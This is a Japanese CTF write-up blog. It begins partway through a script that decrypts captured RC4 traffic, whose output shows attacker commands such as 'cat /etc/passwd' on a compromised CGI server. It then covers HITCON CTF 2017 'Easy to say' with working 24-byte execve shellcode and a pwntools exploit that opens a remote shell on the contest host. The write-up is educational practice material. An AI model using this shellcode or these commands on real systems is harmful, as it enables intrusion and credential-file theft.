"\x62\x99\x64\x48\x89\xfd\x62\x15\xa8\x93\x3b\x28\x65\xce\x6c\xa2\xc0\x38\x80\xc9\xae\x45\xa8\x1f\x6e\xb8\xaa\x81\x08\xe6\x13\x57\xe3\x9b\xa8\xdc\x91\x9a\xff\xbb\x9a\x67\x37\x99\x73\x63\x52\x5c\xfd\xcf\x20\x6c\xd6\x88\xe8\x9a\x2f\xbf\x93\xa8\x5f\xc2\x01\x50\xd4\xd4\xf2\xfb\x96\x67\x35\x99\xdc\x6c\x79\xe8\x3c\xf5\x17\xa8\x28\x80\x66\x51\x14\xa8\x5f\xc5\x02\x5e\x98\x47\x57\x62\x85\x7c\xa4\xbf\x40\xfe\x75\x8c\x55\x96\x26\x89\xa1\x60\x12\x94\x5f\x76\x44\x97\x7a\x0a\x90\x28\xff\x41\x07\x08\x94\x3b\x0e\x61\x83\x73\x20\x96\x6f\xe9\x80\x75\x69\x9a\x31\xf4\xf5\x6a\x65\xa6\x5e\x17\x7b\x74\x5a\xf0\xfa\x3d\x3d\x96\xde\x5a\x81\xae\x6b\x97\xde\xd5\x11\x1c\xd0\x41\xbe\xfb\xae\xb7\x46\x63\x72\xa2\x1e\x67\x35\x4d\xf3\xef\x64\x2a\x78\x97\x89\xd3\x71\xc7\x82\xd1\x42\x58\x08\xbe\x40\x63\xe0\xd8\x90\x3e\x86\x59\x25\xf1\x5c\xf9\x13\xdc\x41\x9c\x95\x1a\xb5\x6c\xf8\xf3\xce\xd0\xad\x88\xfb\xac\xfd\x23\xe2\xe6\x26\x51\xa5\xcb\x23\x85\xcd\xfe\x89\x29\xab\x65\x74\xd1\xc6\x31\xf7\x24\x7b\x1f\xbf\x3c\x50\xa0\xd1\xe8\x13\x4a\xd6\x25\x1c\x44\xfd\x99\xad\xf3\xbe\xe6\x29\xb7\xf1\x94\x12\x52\x3a\xc2\x5a\x24\xef\x64\xc4\xe2\xa2\x78\x2b\x4a\x17\xf6\x5f\x54\x76\x81\xed\x57\xe6\x87\x49\xf2\xdf\x3e\x28\x0d\x6c\xae\x06\xed\xae\x4f\xc3\x6d\xee\xea\xee\x86\xa1\x42\x46\x52\x2f\x6b\xb5\x94\x1f\x88\xb7\xbc\x04\xe3\xfe\x83\x30\x22\x43\x9a\x03\x5d\xba\x3e\x32\x49\xa4\xa4\x47\x3d\xee\x2c\x5c\x91\x53\x7c\x9f\x74\x2c\x4e\x39\x8c\xc8\xd9\x09\xcb\x8f\xb3\x22\xf6\xf9\xe8\xff\xd1\x07\x3a\xd7\xee\xf6\x59\x82\xcc\xc2\xbe\xc9\x37\x13\xcb\x39\x37\x56\xea\x4c\xc2\x46\xac\xe3\x89\xe2\xe0\xcc\x25\x7d\x8b\x08\xf6\x11\x2b\x4d\x60\xd5\x2b\x6e\xae\x0d\x14\x8e\x9e\x69\x92\xa6\xfe\xd1\xc1\x8e\xc6\x36\xd6\x35\x44\xc5\x03\x56\xca\xdd\xbd\x4d\xe1\x9a\xee\xbe\x5d\x31\xf5\x26\x26\x29\x30\x0e\x37\xea\x28\xd2\x83\x03\xbb\xa0\x5b\x7f\x36\xd8\x81\x45\x83\x37\x6b\xf8\x55\x8f\x16\xf8\x53\x71\xd3\x8f\xa0\xea\x10\x13\xfd\xf4\x94\x31\x27\x4c\x30\xde\xd9\xbd\x78\x30\xf7\x8b\x84\x16\x66\xbd\x70\x3a\x4c\xd8\xb2\x7d\xb3\x13\xbf\xf8\xed\x4d\xeb\xeb\xea\x9d\x33\xae\xef\x5b\x94\xe9\x0c\xf7\xb3\x84\x87\x37\xf0\x5f\xa6\x65\x1e\x11\xcc\x84\x07\x21\x7a\x5a\x46\x14\x08\x01\xb7\xf2\xdb\x43\xf1\x59\x09\xd2\x4a\x5c\x08\x2d\x40\xaa\x43\x13\x2f\x1f\xf6\x5c\xac\x00\xf4\x78\xbb\xa1\x77\xd7\x78\x57\x6c\x10\x1d\xfc\xd2\x6f\x4e\x15\xcb\xfa\xf5\xee\x60\x2b\xc1\x10\x26\xb8\xed\xd9\xa7\x48\x3a\x4b\xa4\xe5\xcb\xcb\x12\x0c\xd1\x83\x99\xb5\x23\x4f\xd2\xa7\xb6\x1a\x38\x4d\x5c\x88\x01\x7a\x7b\xde\xb2\x95\xcc\xe5\x95\x35\xb7\x5f\xc7\x86\x39\xba\x04\xe5\xf7\xb6\xb3\x19\x5a\x45\x73\x7a\xe1\x70\x3a\x6a\xce\x8d\x8f\xe8\xb5\x0b\x53\xb3\xda\x01\xcd\x20\x3f\x30\xcb\x72\x75\x60\xd2\x90\xac\x3d\x1f\x20\x1e\x6c\xa0\x27\x42\xe1\x6f\xae\x48\x2c\xef\x0a\x0d\x0d\xe2\xe0\xdd\xe1\x47\x9d\x12\xcc\xbe\x4f\xf7\xdc\xb3\xcc\x78\x10\xde\xea\x29\xdf\xff\x00\x7d\xf5\x3f\x7f\xcb\x68\xf1\xaa\x8e\xca\xbb\xb9\xd0\xc8\xf0\x5f\x36\x89\x05\xdd\x4c\x0f\x42\xee\xd4\x30\xd4\xdc\xce\xcf\x09\xb0\x9b\x4d\x31\xec\x1b\xdb\xa8\x82\x3a\x29\x77\x29\xae\x35\x5a\x99\xbc\xad\xbe\x15\x53\x8f\x33\x57\x26\xcb\xf1\xff\xf5\x77\x96\xbf\x0f\x52\xc0\xda\xaf\x8c\x1d\x2d\x4f\x14\x31\xd7\x85\x70\xe7\xba\xf3\x12\xee\x07\x64\xe5\x55\xd8\x73\xa7\xe8\x11\x05\x2c\xc6\xe4\x7e\x75\x0a\x5b\x6a\x62\x6b\xcc\x51\x23\xb2\x65\x74\xf3\xf5\xec\x68\x72\xf3\xbc\x99\xab\x7b\xf5\x37\xc0\x91\xd2\x52\x99\x99\xd8\x4f\x20\x5f\x57\x39\x44\x86\x82\xd6\x8e\x18\xd1\xbb\x7b\x24\x9a\x71\x9f\x18\x02\xca\x91\xf4\xe6\x71\x1c\x16\xe1\x39\x0d\x63\x1f\x32\xbb\x6d\xc8\xe2\x83\x23\x20\x36\x39\x4c\x6b\x8e\x00\x50\x03\x9d\xae\x83\x6b\x0d\xb8\x67\x06\x34\xb2\x0b\xed\xd5\x47\x0e\x7c\xd0\xee\xa3\x17\xbf\xfb\x4d\x23\x04\x15\x4c\x54\xfa\xd6\x18\x0e\x50\x61\xb2\x89\xee\x07\x41\xdd\x79\x3b\x2f\xa5\xfa\xae\x56\x39\x54\xf2\xe9\xcd\x8d\xa7\x7e\x19\x1b\x05\x20\xb2\x45\xd8\x04\x33\xaa\xb7\x76\x25\x2d\x4b\xaf\x70\x3a\x70\xf1\x08\xbf\x5d\xc9\xa9\xaa\xf1\xfc\x16\x54\x10\x70\x2e\x58\x97\xb3\x39\x9a\x6d\x94\x43\xd9\xab\x03\x19\x42\x56\xf2\x31\x37\x7d\xa6\x56\x4e\xcc\x03\x79\x9b\xb3\xfb\xa7\xe6\xca\xe8\x50\xa9\x72\xfe\x51\x08\x9b\xcb\x3a\x6a\x33\x2a\xae\xba\xfa\xcf\x20\x0c\xd3\x35\x94\xaa\x63\x96\x8e\x73\x78\x4d\x61\xd6\x7d\x9f\x55\x22\x27\x7b\x88\x7c\xe5\x51\xe4\x17\x8f\xcb\x36\x4b\x70\xd9\x23\x7c\xf2\xfc\x97\x19\xed\xdc\xc2\xce\xd5\xb2\x42\x61\x4d\xb4\x5a\x3d\x94\x71\x2f\x3b\x64\xd2\x66\x79\x1e\x6e\x9d\xe4\xe9\x7d\x69\x70\x48\x56\x04\xba\x35\x81\x05\x3a\xc0\x04\x24\x48\x9a\x44\xd5\x14\xd3\xdf\x06\x48\xe0\xbb\xb5\xb7\x77\xf5\xbf\x33\xc5\x01\x8e\xeb\x66\x60\x24\xd1\x7c\xe7\xec\x48\xe3\x63\xcf\x8b\xab\x6c\x93\xa2\x88\xa0\x47\x50\xf4\xcf\xd2\x12\xb0\x6e\x20\x22\xcc\x86\xd6\xbc\x0c\xe2\x4a\x99\xb8\x48\xd1\x1c\xf9\x4a\x7d\x0f\x7d\x82\x45\x0a\x41\xff\xc7\x21" message13 = "\xac\x3b\x5b\xa0\xa1\xc4\x71\x55\x6d\x55\xa0\x0d" message14 = "\xa7\x05\xd3\x10\xcf\x6d\x3e\x7f\xcb\x42\xa9\x6e\xb7\xd8\x60\x37\xfb\x4a\xa1\x14\x83\x19\xe1\x8f\x17\x5a\x61\xfb\x0b\x98\x35\xb7\x66\x2c\xa7\xde\x3b\x5c\x69\x89\x01\xb9\x48\xde\xab\x75\x1e\x38\x99\x5e\x76\xd8\xee\x1d\x85\x22\x63\x9a\x2b\xa2\xd7\x6b\x89\x30\x04\x1a\x54\x96\x90\xc1\x8e\x9a\xa5\x87\x4a\x53\xdc\x83\x34\x58\x03\xde\x8b\x15\xb7\x2e\x96\x35\x26\xa5\x59\xcd\x27\xbc\x52\x47\xa0\x1b\xe3\x30\x77\xa1\x4c\x8f\x69\x01\x65\x49\xb0\x5e\x5c\xa1\x2e\x6a\xd4\xd5\x14\x8b\xe4\xbd\x3e\x2a\x92\x19\x47\x07\x4d\x59\x63\x37\x65\xcb\x75\x9c\x73\xd0\xf1\xa6\xae\xaf\x7a\xf1\xbc\x7c\x33" message15 = "\x66\xa0\xc4\xe8\x17\xd6\xb9\x88\x5f\xcd\x50\x8e\x86\x05\x9a\x2b\xce" message16 = "\x35\x17\xb5\xe0\x9d\xce\xfc\x4a\xd5\x0b\x99\xef\x64\x41\x51\x03\xbd\xf6\xc3\x09\xb7\x10\x11\xb0\x07\x76\x32\x03\xdf\x4c\x03\x23\xb7\x83\xb9\x98\x79\xa4\x7d\x3e\x5a\x09\x4b\x55\xb6\xd4\x89\x60\x28\x49\xff\x00\xf8\xf6\xa6\xcc\xbb\x96\xc0\x71\x49\xb5\x5d\xed\x57\x8b\x07\x69\x2a\xd1\x3b\x2e\xa2\x62\x93\x98\x1e\x70\xe0\x55\xe6\x92\x61\x7f\x78\x0b\x4d\x84\xc6\xc2\x2a\x23\x4a\x39\x88\x2b\xf8\x13\x76\x86\x64\x80\x47\x33\x76\x9c\x00\xd9\x98\x0d\x92\x19\x93\x15\x0b\x80\xad\x15\x2e\x6c\x2d\x1b\xd0\xf8\x15\x2f\x6b\xbc\xd2\x99\x4b\xac\xe2\x6e\x32\xd8\x68\x95\x03\x1b\xf5\xf1\xc4\xeb\x18\xc3" message17 = "\x5b\x7c\xae\x1a\x19\x88\x75\x7e\xab\x08\x6f\x1e\xaa\x04\x0e\x0d\xff\x7c\x0e\xef\xd0\x79\x8e" message18 = "\x38\x22\xd8\x99\xe8\x7b\x5e\x3a\x34\x88\xc8\x14\x7d\xc0\xac\x7c\xdb\x6f\x66\x69\xd1\x3e\x48\x69\x68\x62\x19\xb0\x62\xe7\x54\x93\x1f\xa5\xaf\x19\x64\x73\x26\xe2\xc1\x03\x55\xbb\x43\x97\xb6" print "key: %r (%d bits)" % (key, len(key)*8) for i in range(1, 19): exec("RC4(message" + str(i) + ", gen)") if __name__ == "__main__": main()
実行結果
$ python decrypt.py key: '\xb0\xf8p\xfbu\x87\xc0H+\xb7\xf7\xc1\xf79\x1f\x9ef\xde,\xd9%X\xca\x1f\x87\xf2\xdf#/\xed\xc7\xda' (256 bits) id uid=33(www-data) gid=33(www-data) groups=33(www-data) pwd /usr/lib/cgi-bin ls -la total 24 drwxr-xr-x 2 root root 4096 May 26 02:39 . drwxr-xr-x 52 root root 4096 May 26 02:39 .. -rwxrwxr-x 1 root root 13704 Apr 18 01:11 index.cgi echo 'pwned! yay!' pwned! yay! cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false ls -la / total 80 drwxr-xr-x 67 root root 4096 May 26 03:04 . drwxr-xr-x 67 root root 4096 May 26 03:04 .. -rwxr-xr-x 1 root root 0 May 26 03:00 .dockerenv drwxr-xr-x 2 root root 4096 May 26 02:39 bin drwxr-xr-x 2 root root 4096 Apr 12 2016 boot drwxr-xr-x 15 root root 3780 May 26 03:00 dev drwxr-xr-x 116 root root 4096 May 26 03:00 etc drwxr-xr-x 4 root root 4096 May 26 02:39 home drwxr-xr-x 15 root root 4096 May 26 02:39 lib drwxr-xr-x 2 root root 4096 May 2 08:41 lib32 drwxr-xr-x 2 root root 4096 May 2 08:39 lib64 drwxr-xr-x 2 root root 4096 Feb 14 23:28 media drwxr-xr-x 2 root root 4096 Feb 14 23:28 mnt drwxr-xr-x 2 root root 4096 Feb 14 23:28 opt dr-xr-xr-x 174 root root 0 May 26 03:00 proc drwx------ 11 root root 4096 May 26 03:04 root drwxr-xr-x 9 root root 4096 May 26 03:00 run drwxr-xr-x 2 root root 4096 May 26 02:39 sbin drwxrwxr-x 5 1000 1000 4096 May 26 03:04 share drwxr-xr-x 2 root root 4096 Feb 14 23:28 srv dr-xr-xr-x 13 root root 0 May 24 07:44 sys drwxrwxrwt 2 root root 4096 May 26 03:00 tmp drwxr-xr-x 27 root root 4096 May 26 02:39 usr drwxr-xr-x 21 root root 4096 May 26 03:00 var ls -la /home total 12 drwxr-xr-x 4 root root 4096 May 26 02:39 . drwxr-xr-x 67 root root 4096 May 26 03:04 .. drwxr-xr-x 2 root root 4096 May 26 02:39 user ls -la /home/user total 12 drwxr-xr-x 2 root root 4096 May 26 02:39 . drwxr-xr-x 4 root root 4096 May 26 02:39 .. -rw-rw-r-- 1 root root 47 May 26 02:38 flag.txt cat /home/user/flag.txt CBCTF{7RAcKINg_H4ckERs_f00tPrINTs_i5_excItING}
まとめ
どうせ全く解けないだろうと思っていたのですが,解いてみると結構面白く,参加して良かったなと思いました.
Incident Responseに関しては,リアルでこういうのありそうだなって思いました.
最近気づいてしまったのが,Rev問やるのに暗号も少し知っておく必要があるってこと.(これはRev問じゃないけど)
なにかしらのテーブルを作ってそこからゴニョゴニョみたいなRev問をよく見ていて,なんだこれはって思うけどWriteupを見ると,とある暗号化方式が使われているのがわかったりする.
「この暗号化方式を使うと,こういうアセンブリが生成されて,こういう動きをする」とかは知っておくと便利そう.
HITCON CTF 2017 Quals - Easy to say -
開催期間(JST)
11/4 AM11:00 ~ 11/6 AM11:00
結果
・チーム名:wabisabi
・得点:331 pt
・順位:得点したチーム中,145/1078
解いた問題
・Easy to say (Misc 144)
取り組んだが解けなかった問題
・Start (Pwn)
・Re: Easy to say (Misc)
はじめに
HITCONの開始時間がちょうどバイト先のりんご狩りと重なるということがあり,スタートダッシュが切れず.
結局始めたのは19時~から.
最初はpwnのStartからやっていたものの,方針が違うのか全く見当がつかず,miscのEasy to sayに切り替えた.
2日目は起きる時間が16時頃になってしまい,17時頃からEasy to sayを始めた.
そこから10時間くらい,ああじゃないこうじゃないってやってようやく解けたけど,他の問題は解けず...惨敗.
Writeup
Easy to say (Misc)
問題文
Are you good at shellcoding? Warm up! nc 52.69.40.204 8361
解析
$ file easy_to_say-c7dd6cdf484305f7aaac4fa821796871 easy_to_say-c7dd6cdf484305f7aaac4fa821796871: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ebaecbb5f55329380b6476b55253b4ea59d91891, stripped
64bit,strippedなバイナリが与えられ,限られた条件で動くシェルコードをプログラミングする問題.
限られた条件というのは,各バイトそれぞれが重複していない,かつ24バイト以下というもの.
このプログラムは,適当なシェルコードを入力として与えてあげると,それを実行してくれる.
最初困ったのが,gdbでstartするとコアダンプするっていう問題.
$ gdb easy_to_say-c7dd6cdf484305f7aaac4fa821796871 Reading symbols from easy_to_say-c7dd6cdf484305f7aaac4fa821796871...(no debugging symbols found)...done. gdb-peda$ start No unwaited-for children left. zsh: abort (core dumped) gdb -q easy_to_say-c7dd6cdf484305f7aaac4fa821796871
シンボル情報消されていてもステップ実行はできるはずなのに,よくわからない.
結局,runして適当な入力値を与えるとSEGVを起こすので,そこからstartして,あとはひたすらniとsiで探っていった.
すると,
0x555555554990: xor ebp,ebp
が開始アドレスとわかったので,ここら辺にブレークポイントをしかけて解析していく.
0x555555554ddf: call c38 <stdout@@GLIBC_2.2.5-0x2013e8> # input_check(input_value, 0, 0)
入力値チェック的な関数を呼んでいる箇所.
ここから先のルーチンで,入力値が24バイトより大きい場合は24バイトに削り,入力値がユニークではない場合は Invalid input!
を表示するルーチンへ飛ばす.
0x555555554e2b: call rdx
最終的にここでシェルコードを実行するルーチンへ.
ここから先は,全汎用レジスタを初期化した後,入力されたシェルコードを実行するようになっている.
コーディング
一番問題なのは, /bin/sh
という文字列の /
が重複していること.
よって,最初の /
はとあるバイトに置き換えておいて,後でその1バイトのみをxorして元に戻す方針でいく.
.intel_syntax noprefix .global _start _start: mov rbx, 0x68732f6e696203 xor bl, 0x2c pushq rsi pushq rbx pushq rsp popq rdi mov al, 0x3b syscall
コンパイルして機械語のみを取り出す.ももテクさんの記事が参考になる.
$ gcc -nostdlib shellcode.s $ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g > input.txt
gdbにて run < input.txt
をし,正しく実行されていることを確認できたら,exploit.pyに書いていく.
#!/usr/bin/env python from pwn import * context(os="linux", arch="i386") """ 00000000004000d4 <_start>: 4000d4: 48 bb 03 62 69 6e 2f movabs rbx,0x68732f6e696203 4000db: 73 68 00 4000de: 80 f3 2c xor bl,0x2c 4000e1: 56 push rsi 4000e2: 53 push rbx 4000e3: 54 push rsp 4000e4: 5f pop rdi 4000e5: b0 3b mov al,0x3b 4000e7: 0f 05 syscall """ def main(): conn = remote("52.69.40.204", 8361) payload = "\x48\xbb\x03\x62\x69\x6e\x2f\x73\x68\x00\x80\xf3\x2c\x56\x53\x54\x5f\xb0\x3b\x0f\x05" conn.send(payload) conn.interactive() if __name__ == "__main__": main()
$ python exploit.py [+] Opening connection to 52.69.40.204 on port 8361: Done [*] Switching to interactive mode Give me your code :Run ! $ ls -la total 72 drwxr-xr-x 1 root root 4096 Nov 1 06:36 . drwxr-xr-x 1 root root 4096 Nov 1 06:36 .. -rwxr-xr-x 1 root root 0 Nov 1 06:36 .dockerenv drwxr-xr-x 2 root root 4096 Sep 15 08:42 bin drwxr-xr-x 2 root root 4096 Apr 10 2017 boot drwxr-xr-x 5 root root 340 Nov 4 04:40 dev drwxr-xr-x 1 root root 4096 Nov 1 06:36 etc drwxr-xr-x 1 root root 4096 Nov 1 06:36 home drwxr-xr-x 1 root root 4096 Feb 16 2017 lib drwxr-xr-x 2 root root 4096 Sep 15 08:42 lib64 drwxr-xr-x 2 root root 4096 Sep 15 08:42 media drwxr-xr-x 2 root root 4096 Sep 15 08:42 mnt drwxr-xr-x 2 root root 4096 Sep 15 08:42 opt dr-xr-xr-x 125 root root 0 Nov 4 04:40 proc drwx------ 2 root root 4096 Sep 15 08:42 root drwxrwxr-- 1 root root 4096 Sep 18 23:31 run drwxr-xr-x 1 root root 4096 Sep 18 23:31 sbin drwxr-xr-x 2 root root 4096 Sep 15 08:42 srv dr-xr-xr-x 13 root root 0 Nov 4 06:16 sys drwxr-xr-- 2 easy_to_say easy_to_say 4096 Oct 23 19:14 tmp drwxr-xr-x 1 root root 4096 Sep 15 08:42 usr drwxr-xr-x 1 root root 4096 Sep 15 08:42 var $ cd home $ ls -la total 12 drwxr-xr-x 1 root root 4096 Nov 1 06:36 . drwxr-xr-x 1 root root 4096 Nov 1 06:36 .. drwxr-xr-x 2 easy_to_say easy_to_say 4096 Nov 1 06:35 easy_to_say $ cd easy_to_say $ ls -la total 28 drwxr-xr-x 2 easy_to_say easy_to_say 4096 Nov 1 06:35 . drwxr-xr-x 1 root root 4096 Nov 1 06:36 .. -rwxr-xr-x 1 easy_to_say easy_to_say 10232 Nov 1 06:35 easy_to_say -rw-r--r-- 1 easy_to_say easy_to_say 43 Nov 1 06:35 flag -rwxr--r-- 1 easy_to_say easy_to_say 72 Nov 1 06:35 run.sh $ cat flag hitcon{sh3llc0d1n9_1s_4_b4by_ch4ll3n93_4u}
プロはすぐbabyっていう.
取り組んだが解けなかった問題
Start (Pwn)
問題文
Have you tried pwntools-ruby? nc 54.65.72.116 31337
server.rbがリモートで動いていて,与えられたrubyのコードをevalしてくれる.
また,同一ホスト内の31338ポートではstartというバイナリが動いていて,これは入力値をそのまま表示するだけ(?).10秒間でタイムアウトする.
server.rbに,Dirとかいろいろいい感じに使って,ローカルのファイルを読み出せたりはしたんだけど,フラグがどこにも見当たらない.
そもそも,それだとstartが別ポートで動いている必要がないし,やっぱりstartの脆弱性を何らかの方法で突くのかなと思い,やってみるも,どういう脆弱性が存在しているのかさっぱりわからず.
Re: Easy to say (Misc)
問題文
I think you can do better! nc 13.112.180.65 8361
Easy to sayのバイト数制限が8バイトverっていう激辛シェルコーディング問題.
無理だった.
まとめ
こうしてwriteupを書いていると解法は自明に思えてくるけど,解いている時は以外と思いつかず,REXプレフィックスに悩まされたり,xor ebx, ebx
と xor bx, bx
では挙動が違うことに悩まされたり.( xor bx, bx
だとRBXの下位2バイトだけいい感じに変化してくれるのに, xor ebx, ebx
だと,その結果が丸々RBXとなってしまう.同様に xor bl, bl
では下位1バイトだけ変更できる)
Rev問が1つも解けてないのが痛すぎる.
そろそろ,そこそこ難しい問題も解けるようになる必要がありそう.